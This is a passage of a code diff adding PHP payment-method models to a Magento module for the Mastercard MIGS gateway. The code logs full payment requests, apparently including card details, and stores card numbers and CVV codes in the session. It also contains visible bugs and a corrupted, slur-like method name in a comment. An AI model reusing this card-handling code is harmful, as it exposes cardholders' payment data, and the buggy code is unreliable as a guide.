$postRequestData .= '&vpc_SecureHash='.$secure_hash_key;
|
226 |
+
|
227 |
+
//echo "<pre>"; print_r($postRequestData); die;
|
228 |
+
Mage::log('MIGS Request: '.$postRequestData, null, 'migs_payment.log');
|
229 |
+
|
230 |
+
ob_start();
|
231 |
+
$clientURL = curl_init();
|
232 |
+
// Initialise the client url variables
|
233 |
+
// REFER to curl_setopt for more options as suits your requirements
|
234 |
+
// such as Verify SSL, Proxy etc
|
235 |
+
$vpcURL = $this->getMigsVpcMerchantUrl();
|
236 |
+
curl_setopt ($clientURL, CURLOPT_URL, $vpcURL);
|
237 |
+
curl_setopt ($clientURL, CURLOPT_POST, 1);
|
238 |
+
curl_setopt ($clientURL, CURLOPT_POSTFIELDS, $postRequestData);
|
239 |
+
curl_exec ($clientURL); // Open connection
|
240 |
+
$vpcResponse = ob_get_contents(); // Get result
|
241 |
+
ob_end_clean(); // Finish with the buffer
|
242 |
+
// Check for errors
|
243 |
+
|
244 |
+
if(strchr($vpcResponse,"<html>")) $errorMessage = $vpcResponse;
|
245 |
+
else if(curl_error($clientURL)) $errorMessage = "CURL ERROR: " . curl_errno($clientURL) . " " . curl_error($clientURL);
|
246 |
+
// Communication Issues should be sent to Administrator, not to screen
|
247 |
+
curl_close($clientURL); // Close the connection
|
248 |
+
$responseKeyVals = explode("&", $vpcResponse);
|
249 |
+
foreach ($responseKeyVals as $val) {
|
250 |
+
$param = explode("=", $val);
|
251 |
+
if(count($param)>0)
|
252 |
+
{
|
253 |
+
$responseArray[urldecode($param[0])] = urldecode($param[1]);
|
254 |
+
}
|
255 |
+
}
|
256 |
+
Mage::log('MIGS Response: '.$vpcResponse, null, 'migs_payment.log');
|
257 |
+
//Mage::throwException(Mage::helper('core')->jsonEncode($vpcURL.'?'.$postRequestData));
|
258 |
+
|
259 |
+
if($responseArray['vpc_AcqResponseCode']=='00' && $responseArray['vpc_TxnResponseCode']=='0')
|
260 |
+
{
|
261 |
+
//Mage::throwException(Mage::helper('core')->__('Success'));
|
262 |
+
//Mage::throwException(Mage::helper('core')->jsonEncode($this->_quote->getPayment()));
|
263 |
+
$paymentInfo->setAdditionalInformation(ND_MigsVpc_Model_Info::AUTHORIZE_ID,$responseArray['vpc_AuthorizeId'])
|
264 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::ORDER_INFO,$responseArray['vpc_OrderInfo'])
|
265 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::RECEIPT_NO,$responseArray['vpc_ReceiptNo'])
|
266 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::TRANSACTION_NO,$responseArray['vpc_TransactionNo'])
|
267 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::MERCH_TXN_REF,$responseArray['vpc_MerchTxnRef'])
|
268 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::BATCH_NO,$responseArray['vpc_BatchNo'])
|
269 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::AVS_RESULT_CODE,$responseArray['vpc_AVSResultCode'])
|
270 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::AVS_RESPONSE_CODE,$responseArray['vpc_AcqAVSRespCode'])
|
271 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::ACQ_CSC_RESPONSE_CODE,$responseArray['vpc_AcqCSCRespCode'])
|
272 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::RISK_OVERALL_RESULT,$responseArray['vpc_RiskOverallResult'])
|
273 |
+
->setLastTransId($responseArray['vpc_TransactionNo']) // vpc_TransactionNo
|
274 |
+
;
|
275 |
+
//$this->_quote->getPayment()->save();
|
276 |
+
|
277 |
+
return $responseArray;
|
278 |
+
}
|
279 |
+
elseif($responseArray['vpc_AcqResponseCode']!='' || $responseArray['vpc_TxnResponseCode']!='')
|
280 |
+
{
|
281 |
+
Mage::throwException($responseArray['vpc_Message']);
|
282 |
+
}
|
283 |
+
else
|
284 |
+
{
|
285 |
+
Mage::throwException(Mage::helper('core')->__('This card has failed validation and cannot be used.'));
|
286 |
+
}
|
287 |
+
}
|
288 |
+
|
289 |
+
/*public function prepareSave()
|
290 |
+
{
|
291 |
+
//return parent::_beforeSave();
|
292 |
+
}
|
293 |
+
|
294 |
+
public function assignData($data)
|
295 |
+
{
|
296 |
+
//return parent::assignData($data);
|
297 |
+
}*/
|
298 |
+
|
299 |
+
/**
|
300 |
+
* Get url of MIGS Merchant Hosted Payment
|
301 |
+
*
|
302 |
+
* @return string
|
303 |
+
*/
|
304 |
+
public function getMigsVpcMerchantUrl()
|
305 |
+
{
|
306 |
+
if (!$url = Mage::getStoreConfig('payment/' . $this->getCode() . '/api_url')) {
|
307 |
+
$url = 'https://migs.mastercard.com.au/vpcdps';
|
308 |
+
}
|
309 |
+
return $url;
|
310 |
+
}
|
311 |
+
|
312 |
+
public function getOrderPlaceRedirectUrl()
|
313 |
+
{
|
314 |
+
/*$url = Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/redirect');
|
315 |
+
if(!$url) {
|
316 |
+
$url = 'https://migs.mastercard.com.au/vpcdps';
|
317 |
+
}
|
318 |
+
return $url;*/
|
319 |
+
return;
|
320 |
+
}
|
321 |
+
|
322 |
+
/**
|
323 |
+
* parse response POST array from gateway page and return payment status
|
324 |
+
*
|
325 |
+
* @return bool
|
326 |
+
*/
|
327 |
+
/*public function parseResponse()
|
328 |
+
{
|
329 |
+
$response = $this->getResponse();
|
330 |
+
|
331 |
+
if ($response['vpc_TrxnStatus'] == 'True') {
|
332 |
+
return true;
|
333 |
+
}
|
334 |
+
return false;
|
335 |
+
}*/
|
336 |
+
|
337 |
+
/**
|
338 |
+
* Get debug flag
|
339 |
+
*
|
340 |
+
* @return string
|
341 |
+
*/
|
342 |
+
/*public function getDebug()
|
343 |
+
{
|
344 |
+
return Mage::getStoreConfig('payment/' . $this->getCode() . '/debug_flag');
|
345 |
+
}*/
|
346 |
+
|
347 |
+
public function getConfigPaymentAction()
|
348 |
+
{
|
349 |
+
return Mage::getStoreConfig('payment/' . $this->getCode() . '/payment_action');
|
350 |
+
}
|
351 |
+
|
352 |
+
/*protected function _placeOrder(Mage_Sales_Model_Order_Payment $payment, $amount)
|
353 |
+
{
|
354 |
+
$payment->setTransactionId($this->_checkout()->getTransactionId());
|
355 |
+
}*/
|
356 |
+
|
357 |
+
/**
|
358 |
+
* Authorize payment
|
359 |
+
*
|
360 |
+
* @param Mage_Sales_Model_Order_Payment $payment
|
361 |
+
* @return Mage_Paypal_Model_Direct
|
362 |
+
*/
|
363 |
+
public function authorize(Varien_Object $payment, $amount)
|
364 |
+
{
|
365 |
+
$transaction_id = Mage::getModel('checkout/session')->getQuote()->getPayment()->getVpcTransactionNo();
|
366 |
+
Mage::throwException('a'.$transaction_id);
|
367 |
+
//$order = $payment->getOrder();
|
368 |
+
return $this;
|
369 |
+
}
|
370 |
+
|
371 |
+
public function capture(Varien_Object $payment, $amount)
|
372 |
+
{
|
373 |
+
//$paymentInfo = $this->getInfoInstance();
|
374 |
+
$result = $this->callDoSecurePayment();
|
375 |
+
//$paymentAdditionalInfo = Mage::getModel('checkout/session')->getQuote()->getPayment()->getAdditionalInformation();
|
376 |
+
//$quote_id = Mage::getModel('checkout/session')->getQuote()->getId();
|
377 |
+
//$transaction_id = $paymentAdditionalInfo['vpc_transaction_no'];
|
378 |
+
$transaction_id = $result['vpc_TransactionNo'];
|
379 |
+
$payment->setStatus(self::STATUS_APPROVED)
|
380 |
+
->setLastTransId($this->getTransactionId())
|
381 |
+
->setTransactionId($transaction_id);
|
382 |
+
return $this;
|
383 |
+
}
|
384 |
+
|
385 |
+
public function cancel(Varien_Object $payment)
|
386 |
+
{
|
387 |
+
$payment->setStatus(self::STATUS_DECLINED)
|
388 |
+
->setLastTransId($this->getTransactionId());
|
389 |
+
|
390 |
+
return $this;
|
391 |
+
}
|
392 |
+
|
393 |
+
/**
|
394 |
+
* Return redirect block type
|
395 |
+
*
|
396 |
+
* @return string
|
397 |
+
*/
|
398 |
+
public function getRedirectBlockType()
|
399 |
+
{
|
400 |
+
return $this->_redirectBlockType;
|
401 |
+
}
|
402 |
+
|
403 |
+
/**
|
404 |
+
* Return payment method type string
|
405 |
+
*
|
406 |
+
* @return string
|
407 |
+
*/
|
408 |
+
public function getPaymentMethodType()
|
409 |
+
{
|
410 |
+
return $this->_paymentMethod;
|
411 |
+
}
|
412 |
+
}
|
app/code/local/ND/MigsVpc/Model/Merchantnew.php
ADDED
@@ -0,0 +1,339 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Model_Merchantnew extends Mage_Payment_Model_Method_Abstract
|
24 |
+
{
|
25 |
+
protected $_code = 'migsvpc_merchantnew';
|
26 |
+
|
27 |
+
protected $_isGateway = false;
|
28 |
+
protected $_canAuthorize = false;
|
29 |
+
protected $_canCapture = true;
|
30 |
+
protected $_canCapturePartial = false;
|
31 |
+
protected $_canRefund = false;
|
32 |
+
protected $_canVoid = false;
|
33 |
+
protected $_canUseInternal = false;
|
34 |
+
protected $_canUseCheckout = true;
|
35 |
+
protected $_canUseForMultishipping = false;
|
36 |
+
|
37 |
+
protected $_formBlockType = 'migsvpc/merchantnew_form';
|
38 |
+
protected $_paymentMethod = 'merchantnew';
|
39 |
+
protected $_infoBlockType = 'migsvpc/payment_info';
|
40 |
+
|
41 |
+
protected $_order;
|
42 |
+
|
43 |
+
const TYPE_SSL = 'ssl';
|
44 |
+
const TYPE_3DSECURE = 'threeDSecure';
|
45 |
+
|
46 |
+
/**
|
47 |
+
* Get order model
|
48 |
+
*
|
49 |
+
* @return Mage_Sales_Model_Order
|
50 |
+
*/
|
51 |
+
public function getOrder()
|
52 |
+
{
|
53 |
+
if (!$this->_order) {
|
54 |
+
$paymentInfo = $this->getInfoInstance();
|
55 |
+
$this->_order = Mage::getModel('sales/order')
|
56 |
+
->loadByIncrementId($paymentInfo->getOrder()->getRealOrderId());
|
57 |
+
}
|
58 |
+
return $this->_order;
|
59 |
+
}
|
60 |
+
|
61 |
+
/**
|
62 |
+
* Grand total getter
|
63 |
+
*
|
64 |
+
* @return string
|
65 |
+
*/
|
66 |
+
private function _getAmount()
|
67 |
+
{
|
68 |
+
/*if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
69 |
+
{
|
70 |
+
return 1000;
|
71 |
+
}
|
72 |
+
else
|
73 |
+
{*/
|
74 |
+
$_amount = (double)$this->getOrder()->getBaseGrandTotal();
|
75 |
+
return $_amount*100;
|
76 |
+
//}
|
77 |
+
}
|
78 |
+
|
79 |
+
/**
|
80 |
+
* Get Customer Id
|
81 |
+
*
|
82 |
+
* @return string
|
83 |
+
*/
|
84 |
+
public function getMerchantId()
|
85 |
+
{
|
86 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
87 |
+
$merchant_id = Mage::getStoreConfig('payment/' . $this->getCode() . '/merchant_id');
|
88 |
+
else
|
89 |
+
$merchant_id = Mage::getStoreConfig('payment/' . $this->getCode() . '/merchant_id');
|
90 |
+
|
91 |
+
return $merchant_id;
|
92 |
+
}
|
93 |
+
|
94 |
+
public function getAccessCode()
|
95 |
+
{
|
96 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
97 |
+
$access_code = Mage::getStoreConfig('payment/' . $this->getCode() . '/access_code_test');
|
98 |
+
else
|
99 |
+
$access_code = Mage::getStoreConfig('payment/' . $this->getCode() . '/access_code');
|
100 |
+
|
101 |
+
return $access_code;
|
102 |
+
}
|
103 |
+
|
104 |
+
public function getSecureHashKey()
|
105 |
+
{
|
106 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
107 |
+
$secure_hash_key = Mage::getStoreConfig('payment/' . $this->getCode() . '/secure_hash_secret_test');
|
108 |
+
else
|
109 |
+
$secure_hash_key = Mage::getStoreConfig('payment/' . $this->getCode() . '/secure_hash_secret');
|
110 |
+
|
111 |
+
return $secure_hash_key;
|
112 |
+
}
|
113 |
+
|
114 |
+
public function getPaymentType()
|
115 |
+
{
|
116 |
+
$payment_type = Mage::getStoreConfig('payment/' . $this->getCode() . '/payment_type');
|
117 |
+
|
118 |
+
return $payment_type;
|
119 |
+
}
|
120 |
+
|
121 |
+
public function validate()
|
122 |
+
{
|
123 |
+
parent::validate();
|
124 |
+
$paymentInfo = $this->getInfoInstance();
|
125 |
+
if ($paymentInfo instanceof Mage_Sales_Model_Order_Payment) {
|
126 |
+
$currency_code = $paymentInfo->getOrder()->getBaseCurrencyCode();
|
127 |
+
} else {
|
128 |
+
$currency_code = $paymentInfo->getQuote()->getBaseCurrencyCode();
|
129 |
+
}
|
130 |
+
//Mage::throwException(Mage::helper('core')->jsonEncode($paymentInfo));
|
131 |
+
// if ($currency_code != $this->getConfig()->getCurrency()) {
|
132 |
+
// Mage::throwException(Mage::helper('ebscreditcard')->__('Selected currency //code ('.$currency_code.') is not compatabile with SecureEbs'));
|
133 |
+
// }
|
134 |
+
if($paymentInfo->getCcType()!='') {
|
135 |
+
$dataAry['cc_owner'] = $paymentInfo->getCcOwner();
|
136 |
+
$dataAry['cc_type'] = $paymentInfo->getCcType();
|
137 |
+
$dataAry['cc_number'] = $paymentInfo->getCcNumber();
|
138 |
+
$dataAry['cc_exp_month'] = $paymentInfo->getCcExpMonth();
|
139 |
+
$dataAry['cc_exp_year'] = $paymentInfo->getCcExpYear();
|
140 |
+
$dataAry['cc_cid'] = $paymentInfo->getCcCid();
|
141 |
+
$paymentData = serialize($dataAry);
|
142 |
+
Mage::getSingleton('core/session')->setCCPaymentData($paymentData);
|
143 |
+
//Mage::throwException(Mage::helper('core')->jsonEncode($paymentData));
|
144 |
+
}
|
145 |
+
return $this;
|
146 |
+
}
|
147 |
+
|
148 |
+
public function getOrderPlaceRedirectUrl()
|
149 |
+
{
|
150 |
+
$url = Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/redirect');
|
151 |
+
if(!$url) {
|
152 |
+
$url = 'https://migs.mastercard.com.au/vpcpay';
|
153 |
+
}
|
154 |
+
return $url;
|
155 |
+
}
|
156 |
+
|
157 |
+
/**
|
158 |
+
* prepare params array to send it to gateway page via POST
|
159 |
+
*
|
160 |
+
* @return array
|
161 |
+
*/
|
162 |
+
public function getFormFields()
|
163 |
+
{
|
164 |
+
$fieldsArr = array();
|
165 |
+
$lengs = 0;
|
166 |
+
$paymentInfo = $this->getInfoInstance();
|
167 |
+
$paymentData = unserialize(Mage::getSingleton('core/session')->getCCPaymentData());
|
168 |
+
//echo '<pre>';print_r($paymentData);die;
|
169 |
+
$card_types = array('VI'=>'Visa','MC'=>"Mastercard");
|
170 |
+
$cc_month = date("m",strtotime($paymentData['cc_exp_year'].'-'.$paymentData['cc_exp_month']));
|
171 |
+
$cc_year = date("y",strtotime($paymentData['cc_exp_year'].'-'.$paymentData['cc_exp_month']));
|
172 |
+
$cc_date = $cc_year.$cc_month;
|
173 |
+
$fields = array(
|
174 |
+
"vpc_AccessCode"=>$this->getAccessCode(),
|
175 |
+
"vpc_Amount"=>$this->_getAmount(), // 1000 - For Testing
|
176 |
+
"vpc_CardExp"=>$cc_date,
|
177 |
+
"vpc_CardNum"=>$paymentData['cc_number'],
|
178 |
+
"vpc_CardSecurityCode"=>$paymentData['cc_cid'],
|
179 |
+
"vpc_Command"=>"pay",
|
180 |
+
"vpc_IPAddress"=>$_SERVER['REMOTE_ADDR'],
|
181 |
+
"vpc_Locale"=>"en",
|
182 |
+
"vpc_MerchTxnRef"=>$paymentInfo->getOrder()->getRealOrderId(),
|
183 |
+
"vpc_Merchant"=>$this->getMerchantId(),
|
184 |
+
"vpc_OrderInfo"=>$paymentInfo->getOrder()->getRealOrderId(),
|
185 |
+
"vpc_ReturnURL"=>Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/response', array('_secure' => true)),
|
186 |
+
//"vpc_TicketNo"=>'1',
|
187 |
+
"vpc_Version"=>'1',
|
188 |
+
"vpc_card"=>$card_types[$paymentData['cc_type']],
|
189 |
+
"vpc_gateway"=>$this->getPaymentType()
|
190 |
+
);
|
191 |
+
$str = $this->getSecureHashKey();
|
192 |
+
$postRequestData = array();
|
193 |
+
foreach($fields as $key => $val)
|
194 |
+
{
|
195 |
+
$str .= $val;
|
196 |
+
if($key=='vpc_CardSecurityCode' || $key=='vpc_CardExp') continue;
|
197 |
+
if($key=='vpc_CardNum') $val = substr($val,0,6);
|
198 |
+
$postRequestData[] = $key.':'.$val;
|
199 |
+
}
|
200 |
+
|
201 |
+
$secure_hash_key = strtoupper(md5($str));
|
202 |
+
$fields['vpc_SecureHash'] = $secure_hash_key;
|
203 |
+
/*$fieldsArr['vpc_AccessCode'] = $this->getAccessCode();
|
204 |
+
$fieldsArr['vpc_Amount'] = '10';//$this->_getAmount();
|
205 |
+
$fieldsArr['vpc_CardExp'] = $cc_date;
|
206 |
+
$fieldsArr['vpc_CardNum'] = $paymentData['cc_number'];
|
207 |
+
$fieldsArr['vpc_CardSecurityCode'] = $paymentData['cc_cid'];
|
208 |
+
$fieldsArr['vpc_Command'] = 'pay';
|
209 |
+
$fieldsArr['vpc_Locale'] = 'en';
|
210 |
+
$fieldsArr['vpc_MerchTxnRef'] = $paymentInfo->getOrder()->getRealOrderId();
|
211 |
+
$fieldsArr['vpc_Merchant'] = $this->getMerchantId();
|
212 |
+
$fieldsArr['vpc_OrderInfo'] = $paymentInfo->getOrder()->getRealOrderId();
|
213 |
+
$fieldsArr['vpc_ReturnURL'] = Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/response', array('_secure' => true));
|
214 |
+
//$fieldsArr['vpc_TicketNo'] = '1';
|
215 |
+
$fieldsArr['vpc_Version'] = '1';
|
216 |
+
$fieldsArr['vpc_card'] = $card_types[$paymentData['cc_type']];
|
217 |
+
$fieldsArr['vpc_gateway'] = 'threeDSecure';
|
218 |
+
$fieldsArr['vpc_SecureHash'] = $secure_hash_key;*/
|
219 |
+
|
220 |
+
//return $fieldsArr;
|
221 |
+
//Mage::log('MIGS Request: '.implode(",",$postRequestData), null, 'migs_payment.log');
|
222 |
+
Mage::log("\n".'MIGS Request: '.implode(",",$postRequestData), null, 'migs_payment.log');
|
223 |
+
return $fields;
|
224 |
+
}
|
225 |
+
|
226 |
+
/**
|
227 |
+
* Get url of Migs Shared Payment
|
228 |
+
*
|
229 |
+
* @return string
|
230 |
+
*/
|
231 |
+
public function getMigsVpcMerchantUrl()
|
232 |
+
{
|
233 |
+
if (!$url = Mage::getStoreConfig('payment/migsvpc_merchantnew/api_url')) {
|
234 |
+
$url = 'https://migs.mastercard.com.au/vpcpay';
|
235 |
+
}
|
236 |
+
return $url;
|
237 |
+
}
|
238 |
+
|
239 |
+
/**
|
240 |
+
* Get debug flag
|
241 |
+
*
|
242 |
+
* @return string
|
243 |
+
*/
|
244 |
+
public function getDebug()
|
245 |
+
{
|
246 |
+
return Mage::getStoreConfig('payment/' . $this->getCode() . '/debug_flag');
|
247 |
+
}
|
248 |
+
|
249 |
+
public function capture(Varien_Object $payment, $amount)
|
250 |
+
{
|
251 |
+
$payment->setStatus(self::STATUS_APPROVED)
|
252 |
+
->setLastTransId($this->getTransactionId());
|
253 |
+
|
254 |
+
return $this;
|
255 |
+
}
|
256 |
+
|
257 |
+
public function cancel(Varien_Object $payment)
|
258 |
+
{
|
259 |
+
$payment->setStatus(self::STATUS_DECLINED)
|
260 |
+
->setLastTransId($this->getTransactionId());
|
261 |
+
|
262 |
+
return $this;
|
263 |
+
}
|
264 |
+
|
265 |
+
/**
|
266 |
+
* Return redirect block type
|
267 |
+
*
|
268 |
+
* @return string
|
269 |
+
*/
|
270 |
+
public function getRedirectBlockType()
|
271 |
+
{
|
272 |
+
return $this->_redirectBlockType;
|
273 |
+
}
|
274 |
+
|
275 |
+
public function assignData($data)
|
276 |
+
{
|
277 |
+
//Mage::throwException(implode(',',$data));
|
278 |
+
$result = parent::assignData($data);
|
279 |
+
if (is_array($data)) {
|
280 |
+
$this->getInfoInstance()->setAdditionalInformation($key, isset($data[$key]) ? $data[$key] : null);
|
281 |
+
}
|
282 |
+
elseif ($data instanceof Varien_Object) {
|
283 |
+
$this->getInfoInstance()->setAdditionalInformation($key, $data->getData($key));
|
284 |
+
}
|
285 |
+
return $result;
|
286 |
+
}
|
287 |
+
/**
|
288 |
+
* Return payment method type string
|
289 |
+
*
|
290 |
+
* @return string
|
291 |
+
*/
|
292 |
+
public function getPaymentMethodType()
|
293 |
+
{
|
294 |
+
return $this->_paymentMethod;
|
295 |
+
}
|
296 |
+
|
297 |
+
public function afterSuccessOrder($response)
|
298 |
+
{
|
299 |
+
$order = Mage::getModel('sales/order');
|
300 |
+
$order->loadByIncrementId($response['vpc_OrderInfo']);
|
301 |
+
//$paymentInst = $order->getPayment()->getMethodInstance();
|
302 |
+
//$paymentInst = $order->getPayment();
|
303 |
+
//$paymentInst->setTransactionId($response['vpc_TransactionNo']);
|
304 |
+
//$paymentInst->setStatus(self::STATUS_APPROVED)
|
305 |
+
//->setLastTransId($response['vpc_TransactionNo'])
|
306 |
+
//->setTransactionId($response['vpc_TransactionNo'])
|
307 |
+
//->setAdditionalInformation(ND_MigsVpc_Model_Info::THREED_SENROLLED,$response['vpc_3DSenrolled']);
|
308 |
+
/*->setAdditionalInformation(ND_MigsVpc_Model_Info::ORDER_INFO,$response['vpc_OrderInfo'])
|
309 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::RECEIPT_NO,$response['vpc_ReceiptNo'])
|
310 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::TRANSACTION_NO,$response['vpc_TransactionNo'])
|
311 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::MERCH_TXN_REF,$response['vpc_MerchTxnRef'])
|
312 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::BATCH_NO,$response['vpc_BatchNo'])
|
313 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::AVS_RESULT_CODE,$response['vpc_AVSResultCode'])
|
314 |
+
->RamboJewsetAdditionalInformation(ND_MigsVpc_Model_Info::AVS_RESPONSE_CODE,$response['vpc_AcqAVSRespCode'])
|
315 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::ACQ_CSC_RESPONSE_CODE,$response['vpc_AcqCSCRespCode'])
|
316 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::RISK_OVERALL_RESULT,$response['vpc_RiskOverallResult'])*/
|
317 |
+
//$paymentInst->save();
|
318 |
+
$order->sendNewOrderEmail();
|
319 |
+
if ($order->canInvoice()) {
|
320 |
+
$invoice = $order->prepareInvoice();
|
321 |
+
|
322 |
+
$invoice->register()->capture();
|
323 |
+
Mage::getModel('core/resource_transaction')
|
324 |
+
->addObject($invoice)
|
325 |
+
->addObject($invoice->getOrder())
|
326 |
+
->save();
|
327 |
+
}
|
328 |
+
$transaction = Mage::getModel('sales/order_payment_transaction');
|
329 |
+
$transaction->setTxnId($response['vpc_TransactionNo']);
|
330 |
+
$order->getPayment()->setAdditionalInformation(ND_MigsVpc_Model_Info::THREED_SENROLLED,$response['vpc_3DSenrolled']);
|
331 |
+
$transaction->setOrderPaymentObject($order->getPayment())
|
332 |
+
->setTxnType(Mage_Sales_Model_Order_Payment_Transaction::TYPE_CAPTURE);
|
333 |
+
$transaction->save();
|
334 |
+
$order_status = Mage::helper('core')->__('Payment is successful.');
|
335 |
+
|
336 |
+
$order->addStatusToHistory(Mage_Sales_Model_Order::STATE_PROCESSING, $order_status);
|
337 |
+
$order->save();
|
338 |
+
}
|
339 |
+
}
|
app/code/local/ND/MigsVpc/Model/Server.php
ADDED
@@ -0,0 +1,281 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
